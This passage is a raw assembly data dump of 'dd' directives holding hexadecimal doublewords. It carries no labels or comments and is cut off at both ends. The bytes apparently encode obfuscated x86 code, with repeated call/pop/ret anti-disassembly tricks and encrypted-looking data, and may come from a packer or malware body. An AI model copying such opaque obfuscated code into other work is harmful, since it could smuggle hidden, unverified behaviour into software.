6BAD8h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 22A919C3h dd 0B3F3DDA4h, 23F68166h, 0F8C38BF4h, 6A04E8C1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 9BE6C353h, 8B6ADB9Ch, 0E2F766F1h, 29B5B58Bh, 0D82B060Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h dd 5E176D8Dh, 0ADB5332Bh, 58060B01h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 83C35646h, 0B95B6032h, 0B58930AAh dd 60B2349h, 880FD82Bh, 14Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 8EC35040h, 0BEA6BB04h, 1D990EA1h dd 7B9h, 26D68100h, 8B432C74h, 0B2AB5B5h, 0C18306h, 23D68166h dd 0FD93BB1h, 10A86h, 14E900h, 0D3DA0000h, 35CD9C95h, 625C6D1h dd 8559637Bh, 1AA72804h, 8C660B65h, 0C1F6F5D9h, 0E1840F04h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 7EE4C351h, 8B6D84C6h, 0B0241B5h dd 0ED95FF06h, 0E9060B18h, 0Ch, 49C9222Ch, 0C01C33D5h dd 9159938h, 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 6A0612CDh, 0B58B619Fh dd 60B2E31h, 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0A18127C3h, 127DB533h, 343D060Bh dd 0F000008h, 4B86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 3EBC7C42h, 14E9E9F6h dd 40000000h, 0A1BE8043h, 0C0CB2C0Eh, 0B129F951h, 6D69C59Dh dd 146807Bh, 0B33A585h, 9E906h, 0B5330000h, 60B2729h, 8BF8C08Bh dd 0E9D88BC3h, 0Ah, 0BA7BCFFFh, 20FD2453h, 85C79A15h, 60B0869h dd 5F268317h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 4CC35242h, 0B5231653h, 60B0769h, 6AC08Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A15833C3h, 85BD8160h, 0D0060B33h, 0F000007h, 2F85h dd 0A9B58B00h, 0FF060B0Fh, 0B338585h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 85891F07h, 60B2155h, 3385B5FFh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5804B5C3h dd 0D5ACBE66h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0F8B63CC3h, 66D88B90h dd 46C3EE81h, 2715BD83h, 0F00060Bh, 3C84h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 11E9A0CCh, 9F000000h, 0C88E2773h, 8CF5D4DFh, 958F48B7h dd 2C52CF0h, 280E9h, 48BE6600h, 6ADF8C3Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 188AC357h dd 46FC4B57h, 0F68162CBh, 345E6B60h, 66F28B66h, 4C7F7h dd 243850Fh, 11E90000h, 6F000000h, 0C5525A85h, 764AD0A8h dd 5D145A4Fh, 3C6A2592h, 9D8DFF2Bh, 60EE0CCh, 8950F28Bh dd 8589241Ch, 60B1EB1h, 35FF64h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CF33C356h dd 345D2E6Fh, 89BDB0FDh, 0B187185h, 8964F806h, 25h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0EEC9817Fh, 4714745Dh, 6AC48B6Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EB64C352h dd 30DC495h, 8D0F5C66h, 2, 0F08BF18Bh, 0EB01CDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 65C35747h, 4896682Ch dd 9F5C3A4h, 0B339185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 3FF8133Dh, 5818C582h dd 5860F4Ch, 0BE000000h, 64490F84h, 58F64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BAFAC357h, 0F78B663Ch, 698D89h, 0C483060Bh dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E92FF445h, 12h, 49F03831h, 9608F93Eh, 79917928h dd 82975AB8h, 0C00B7FADh, 0C3840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570F31C3h dd 2C9B58Bh, 0BD8D060Bh, 60B4DD7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 6BC35040h, 0CA567320h, 0F78B662Ah dd 5B8h, 0F6BF0F00h, 0E9F9E7FFh, 14h, 0B1487981h, 88F2D5EEh dd 0BD4DF798h, 53BDD876h, 27EEB391h, 245C8B57h, 0B8838B10h dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h dd 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 5DC38CC3h, 0A6A32B77h, 41B58B5Bh dd 89060B12h, 0B0F59BDh, 0E9CA2B06h, 0FFFFF5E0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 20F1B58Bh dd 0B58B060Bh, 60B2945h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 8A82A2C3h, 4EBh, 0BD8B0000h dd 60B1B69h, 33499589h, 6A060Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0E1E1C0C3h, 59D71B0h dd 5640BD5Fh, 858D5FF5h, 60B28A9h, 2488D681h, 0E9906AECh dd 5, 733075A3h, 5E850E6h, 51000000h, 22A90B9h, 8C0Fh dd 905E0000h, 0AE8h, 0E5AC900h, 0FF44F157h, 5F6BD8A4h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0A36491C3h, 0B8AE2369h, 0C1264BBEh, 0F006A54h dd 0E8Ch, 9E900h, 0BD4C0000h, 0DDBCF13Fh, 8DF875DBh, 0EE36B85h dd 19BD8906h, 0E8060B19h, 0Ch, 2241F1CAh, 1F9F280Ch, 3CBD633Fh dd 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh, 1EAFB41h, 0C0835F7Ch dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F2F8C8Dh, 388h, 0FE8B6600h, 0F08B6690h dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 3154EDC3h, 11E811h, 0D5E60000h, 95D43F3Ah dd 0F09F7377h, 0C29D5CB6h, 0BF294BD2h, 743C73EBh, 0D9B5895Eh dd 6A060B2Ah, 0BE900h, 59570000h, 39FAD101h, 8F680B3Ah dd 66006AB5h, 95FFFB8Bh, 60B2F21h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 85C35545h, 812BAAC2h, 0BE9EA1C7h dd 0B09D8D15h, 0E9060EA7h, 11h, 0A8BDB7E7h, 43FAE3B8h dd 6E1DD302h, 0C4D450BBh, 6AD3FF62h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 38E7C353h dd 66D85FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DF7A34C3h, 3365B58Bh, 0E9FC060Bh dd 86Ch, 0E8h, 0ED815D00h, 60EE375h, 9E190BBFh, 85BD817Bh dd 0D0060B33h, 0F000007h, 16A86h, 51BD0900h, 8B060B05h dd 0B29859Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 6BAB2107h, 8B66377Ch, 0E381F8h, 0E9000001h dd 0Ah, 907BDD9Ch, 0BD48D5FCh, 0DB0B1CC3h, 0C3850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 833250C3h, 0EE16EBDh, 840F0006h, 2Dh, 0BDE9F88Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0D34BC351h, 8B1D5B34h, 0B30EDBDh, 6E85C706h dd 1060EE1h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0ADF6C351h, 66F96E6Bh dd 5682C781h, 63E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 6CEF46A8h, 2A1658A2h dd 8B607468h, 0B15159Dh, 8F0F06h, 61000000h, 20EF8166h dd 6E85C7C2h, 60EE1h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A202C353h, 0F3BF0F1Eh dd 29859D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 81FCDFC3h, 0FFFEFF23h dd 0DDBD8BFFh, 66060B15h, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0BFDA23C3h, 68685E42h dd 6068EFC2h, 20CD8509h, 880F060Bh, 2, 0F6615B53h, 840F04C3h dd 0ABh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0D8C35141h, 8D970B57h, 95FF7A75h, 60B18EDh, 6E8h dd 0A3713E00h, 0F5F757E4h, 0EE8905Eh, 1B000000h, 66194D1Bh dd 3546DE1Ah, 16506D9Ch, 5E8F2h, 352C0000h, 50319F3Ah dd 5A310F52h, 505F5F58h, 52505250h, 310F6160h, 0DE9h, 0A17D0900h dd 321F7C13h, 70799984h, 585ADCDEh, 77BE310Fh, 5A03FC64h dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0B4FE04C3h, 462A6C97h, 0E1BD31D9h, 0E9060B0Fh dd 3A1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 34C35141h, 519F9A88h, 0B523FA8Bh, 60B2DE5h, 6A00B0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 923343C3h, 891242ABh, 0B06F9BDh, 8170E606h, 3251A7F6h dd 0FDD68144h, 0E420357Dh, 0F8B70F71h, 29D8B60Fh, 0B079185h dd 6BA06h, 0FC600000h, 881858Bh, 8B61060Bh, 4E8C1C3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B2C35141h, 0C2A5C05Fh dd 5E8E78Ah, 23000000h, 0E7EF8767h, 8C0F5FF5h, 3, 66FA8B66h dd 0B509E2F7h, 60B283Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 7D596BC3h, 800F12F1h dd 0 dd 241C8950h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0ABC35141h, 4757347Fh, 8BD1A9B6h, 0B02F9BDh, 85B5FF06h dd 6A060B33h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8BB2C350h, 0A4349E31h, 5D95893Fh dd 0FF060B0Ch, 0B32DD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0ABC89AB3h dd 816600B0h, 314249D6h, 0B0609B5h, 0E470E606h, 0F613C71h dd 22083h, 880F5700h, 0 dd 0D8B60F5Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 1CC35545h, 1645BD8Bh, 6BA060Bh, 0E9000000h, 0Dh dd 4B5D2F23h, 55865982h, 0CB510289h, 0FCC38B77h, 15E9BD23h dd 0E8C1060Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 6BE6666h, 61858919h, 66060B28h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 840162C3h, 0F98B66A6h, 2929BD8Bh, 0D82B060Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 14C35040h dd 1FF6816Ah, 582CD32Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0D5C35343h, 8B667804h, 219589FAh, 2B060B2Bh dd 2A880FD8h, 66000001h, 7B9F98Bh, 81000000h, 9544B5C7h dd 0C18328h, 0FD93BF9h, 11086h, 0FE8B6600h, 0FCD98C66h dd 0F04C1F6h, 0E184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0FDF30719h, 665EBDA5h dd 8BC775BFh, 0B17BDB5h, 0ED95FF06h, 6A060B18h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F9E6C356h, 8B5FF120h, 0B2DF5BDh, 8E0F5B06h, 19h, 14E9h dd 3238D300h, 6DF2A97h, 1140ADDDh, 72DD1DD0h, 0E3731B51h dd 6AC32B07h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E9BAC355h, 9, 4955C601h, 1374F2A9h dd 29BD8BC1h, 3D060B19h, 834h, 2C860Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0A44408C3h, 0E90BB18Fh, 25h, 1E9DBD8Bh, 0C08B060Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 18C35040h dd 8BC38BE8h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 1ECB3244h, 0C7FB8B18h, 0B1A9D85h dd 74AF3506h, 51006A34h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 1E1A263Eh, 41EF1119h, 29C08B30h dd 0B214D9Dh, 85BD8106h, 0D0060B33h, 0F000007h, 4C85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 33D6FD6Ah, 0B00E1B5h, 8585FF06h, 6A060B33h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 3357C355h, 0B015DBDh, 85B5FF06h, 8B060B33h dd 0B0E9DB5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7059C353h dd 7D8589FEh, 52060B0Bh, 905FFA8Bh, 20619D29h, 0BD8B060Bh dd 60B03F1h, 3FD8589h, 8BF5060Bh, 0B069DB5h, 0FE8F906h dd 0CF000000h, 0F7FCEAFCh, 1C3C3B21h, 0C95FB17Bh, 0B531C6ECh dd 60B1B29h, 5FFBBF0Fh, 0AACE8166h, 0D8589BDh, 0F9060B08h dd 3C62BF66h, 2005B589h, 8B66060Bh, 4D8D89F1h, 6A060B1Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 6CD5C357h, 0DE860h, 54C10000h, 66265235h dd 1BC3A259h, 89BECC55h, 0B01D995h, 0D8BF5E06h, 8B6FBAE2h dd 0B2729BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0D98501A1h, 66060B07h, 0E5BFF28Bh dd 0F17BF59h, 148Bh, 0E840F00h, 0E9000000h, 9, 0AB8536F8h dd 1348FBEFh, 0BE955h, 2CB0000h, 0E52C900Bh, 2BC3F21Eh dd 51006A8Fh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0F5B82A86h, 0FD8F588h, 58Ah, 0D6816600h dd 0EE85B26h, 0D7000000h, 0C4ED71A0h, 87906C25h, 9B5E077Eh dd 0F1BF0F94h, 0F7BAE95Eh, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 8BAC15C3h dd 95893A5Bh, 60B2979h, 8950C18Bh, 0B2F1185h, 4EB5E06h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 62C35545h dd 915A3A2Eh, 7335D7D4h, 0E2D68166h, 0E59D31BFh, 8D060B29h dd 0B28A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 1980141Fh, 0BF669053h, 60504A72h dd 9061F6B5h, 0A2CDBE66h, 8589006Ah, 60B1FD1h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 1862C4C3h, 0DC0FB0BFh, 0F18BF496h, 0EDBB858Dh, 6A060Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0D701EC3h, 0ADB58977h, 83060B06h, 0E95005C0h, 10h, 0FDD21441h dd 7824B00Eh, 0CC971444h, 85374640h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 726AC352h, 0BE661888h, 6A5784h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E1C35040h, 7497ECA8h, 0C0F6026h dd 0A870F67h, 0E9000000h, 5, 3610FE48h, 6A006A6Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 28F7C350h, 2A34D4C0h, 95FF405Eh, 60B2F21h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 0B09D8D0Ch dd 6A060EA7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8B3DC351h, 0B0349BDh, 6AD3FF06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2FDC352h, 6D85FF3Dh, 66060B06h, 0E9C9C7BFh dd 765h, 0E8h, 0ED815D00h, 60EEDC5h, 11E9h, 0DBE79000h dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 0BD8140E3h, 60B3385h dd 7D0h, 1BD860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 6A5761C3h, 9E47AF76h dd 0EAF68166h, 0F28B6602h, 649DE681h, 9D8B164Ah, 60B00A1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3DC35545h dd 0E3819515h, 100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 34C35343h, 6C13D118h, 266DC286h, 850FDB0Bh dd 0F9h, 0EF816653h, 835E6893h, 0EEBE8BDh, 840F0006h, 7Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h dd 9FFA071Ah, 19F58D89h, 8C0F060Bh, 24h, 5E8h, 0AAB2A700h dd 13E8E5FBh, 40000000h, 30216A68h, 0BEE45C0Fh, 0CD9D29BDh dd 3E6BDD0Ch, 5F5F0EABh, 0A0E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DC4FA80Ah dd 65B58BD6h, 0C7060B0Ch, 0EEBE885h, 106h, 0EE900h, 0D5210000h dd 0D88ACDDBh, 21D11621h, 6C32374Dh, 66F58060h, 61C2BF0Fh dd 50E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 714B465h, 8A0F2204h, 19h, 14E9h dd 6BF7E00h, 0AAD3A1BDh, 8DBAF552h, 0D97379DAh, 73C20427h dd 0E885C778h, 60EEBh, 89000000h, 0B035DBDh, 0A19D8D06h dd 9060B00h, 0B03F9B5h, 5E806h, 0ECB60000h, 89520805h dd 0B208185h, 23815E06h, 0FFFFFEFFh, 0D3BF0F60h, 13ED8D8Bh dd 6661060Bh, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 66D900C3h, 1232F55Ah, 4C3F645h dd 55840Fh, 0CE810000h, 54138C1Eh, 18ED95FFh, 90F9060Bh dd 198D0Fh, 8B600000h, 10E9F1h, 42F00000h, 335730D9h, 945C1F86h dd 49912999h, 5061B60Dh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 87CEE46Ch, 13BF7C5Ch dd 0E94B7023h, 31Dh, 0B0F08B66h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0B1E781ABh dd 0E669DE7Ch, 45BF6670h, 71E4F829h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 54C35040h, 15D734FFh, 10AB2C7h dd 0B2ED585h, 0D8B60F06h, 6BAF8h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B9E41C3h dd 0BDB523C3h, 0C1060B0Bh, 6A04E8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 58689C3h dd 66D7710Ah, 0B360E2F7h, 0D82B61B2h, 2D89B58Bh, 8166060Bh dd 50BBEDE7h, 6A241C89h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 4D73C357h, 9D89DA61h dd 60B21E9h, 3385B5FFh, 95FF060Bh, 60B32DDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 0EC9613Ah dd 0B0BCF584h, 15800F00h, 0E9000000h, 10h, 83A2994Fh, 1BE59302h dd 0DB4997A7h, 0EF00C301h, 71E470E6h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C8C35242h, 6917AE88h, 3CA5AC8Fh dd 0BA830F61h, 0F000001h, 0B60FFBB7h, 860FD8h, 0BA000000h dd 6, 10E9h, 10A07000h, 5A4312F8h, 24B68820h, 0BD530936h dd 6AC38B2Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 6E04C357h, 6604E8C1h, 6AE2F7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0D2AA53C3h, 0A095BFA3h, 0FB8B7D8Fh, 6AD82Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 6A5883C3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0CC48C352h, 4C5AD703h, 2B60DDEBh dd 0FE880FD8h, 0E9000000h, 5, 0A32E1D13h, 7B9BBh, 9D890000h dd 60B0161h, 8900C183h, 0B0B759Dh, 0FD93B06h, 0D886h, 0F7BF0F00h dd 8BD98C66h, 4C1F6F3h, 8E840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 10DEDCC3h dd 10B9956h, 0F9C1293h, 95FFF3B7h, 60B18EDh, 1619B58Bh dd 0BE5B060Bh, 45DD506Bh, 0B70FC32Bh, 8343DFFh, 860F0000h dd 44h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 20C35040h, 8B80902Fh, 0B07D9BDh, 9E906h, 5EFA0000h dd 9068D610h, 0E901F5A3h, 45h, 6860Fh, 0BD8B0000h, 60B05F1h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 8634D0C3h, 1FD1BD8Bh, 0EE9060Bh, 0F5000000h dd 20E41E7Fh, 0A0122F32h, 1EBBDC62h, 8BC38B48h, 4CBE66D8h dd 8585C705h, 0D7060B29h, 6A7054E3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B1AC353h dd 0F9BF0FC0h, 3385BD81h, 7D0060Bh, 850F0000h, 59h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 95C35646h, 884E0CC8h dd 0FF072864h, 0B338585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66CB44h dd 0BE9F8h, 0E45F0000h, 9624793h dd 8029B6C7h, 85B5FF24h, 60060B33h, 3AC81B9h, 0D5858B3Fh dd 61060B13h, 5344BE66h, 32DD95FFh, 0DE81060Bh, 239D0EE5h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 8C34A6B2h, 5D0F17A4h, 0BD0BCCEBh, 60B1B25h dd 0EE9h, 0ECA69A00h, 1F61F8D5h, 0EA416981h, 8B2A278Fh dd 0B23F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 854C9C5Eh, 0BF2E9899h, 0F58EA52h dd 0B58BFB8Bh, 60B29C1h, 8E9FA8Bh, 0D3000000h, 258EBADCh dd 31B8295Eh, 0B059595h, 0A19D8906h, 0E8060B07h, 0Bh, 0A6CCFDD8h dd 9C77383Eh, 0F9ED717h, 895EF8BFh, 0B09159Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 19834F15h, 12E9490Ch, 0A6000000h, 0A909BC5Dh, 0C0776CB2h dd 8BFE04Dh, 7A84256Ch, 0FDB5038Fh, 8B060B1Fh, 52006AFEh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0A1E9ED9Bh, 1FFFFF8h, 0B0E9DB5h, 66C18B06h, 0EBC61DBEh dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 6CE2D339h, 0DCE2A3C7h, 8B66E93Bh dd 53006AFBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 66E72C2Ah, 0A51AF781h, 38D0Fh, 0B70F0000h dd 68BF66F3h, 0A9858D56h, 0F060B28h, 198Eh, 14E900h, 35F50000h dd 2025D009h, 780F8C6Dh, 9BF55D09h, 0CB9D87C5h, 66501C93h dd 489F88Bh, 3DBD0324h, 6A060B06h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 8DB13963h dd 0F5703DFh, 68Eh, 0D9BD8B00h, 5F060B15h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 3977ABC3h, 0DB0D0C1Dh, 0D68166C5h, 858D350Ch, 60EF737h dd 3870Fh, 0BF0F0000h, 5C083FBh, 13E8h, 23985400h, 0E9D5DFCFh dd 614CD86Fh, 0D357D0EBh, 594E5F00h, 5250905Fh, 7D1BBF66h dd 0CE8310Fh, 0AB000000h, 15EEF1A1h, 36FF46B8h, 0E8BB6F42h dd 5, 0BF467806h, 5A5F5F1Eh, 66535058h, 905EF18Bh, 7E8h dd 8634D000h, 32EE44DAh, 5EFE8B66h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0A0B303C3h dd 6A006AF9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 3252C355h, 0BF665B79h, 95FFFB53h dd 60B2F21h, 2149BD8Bh, 9D8D060Bh, 60EA7B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 30C35646h, 0D6C7E93Dh dd 0FF0E7F65h, 12E9D3h, 0C3DF0000h, 195B8046h, 4621E8B4h dd 8F149CC6h, 4D34EDA1h, 66D85FFh, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E90EE7C3h dd 7A2h, 0E8h, 0ED815D00h, 60EF741h, 81CF8B60h, 0D60809DFh dd 0BD816108h, 60B3385h, 7D0h, 162860Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 6F01C3h, 0BB1D4EDBh, 0DE879h, 2B930000h, 0EA5AADBFh dd 1B2736CAh, 0F3203F9h, 8B5FFBBFh, 0B13E99Dh, 0E381FC06h dd 100h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 3BC35141h, 0F98B66D4h, 0BF1B70Fh, 83850FDBh, 83000000h dd 0EF52DBDh, 840F0006h, 21h, 12E9h, 12B68E00h, 0CF60E681h dd 60BAD6D2h, 95032A53h, 0E93DD78Ch, 8Ch, 81A0EDBEh, 2D85C72Dh dd 1060EF5h, 2B000000h, 0B30E5B5h, 72E906h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E9D40DC3h, 0Ah, 0B0505797h, 89357576h, 0FE94422h, 70000000h dd 3BDA1789h, 0B009D5FFh, 0C5AA3CE9h, 85C7D5B0h, 60EF52Dh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9DC35141h dd 4ABC489Eh, 0BD8B6CBAh, 60B1221h, 13E99D8Dh, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 9A8A77C3h, 1A35B58Bh, 2381060Bh, 0FFFFFEFFh, 0C71B58Bh dd 8D89060Bh, 60B01E9h, 8BDB8C66h, 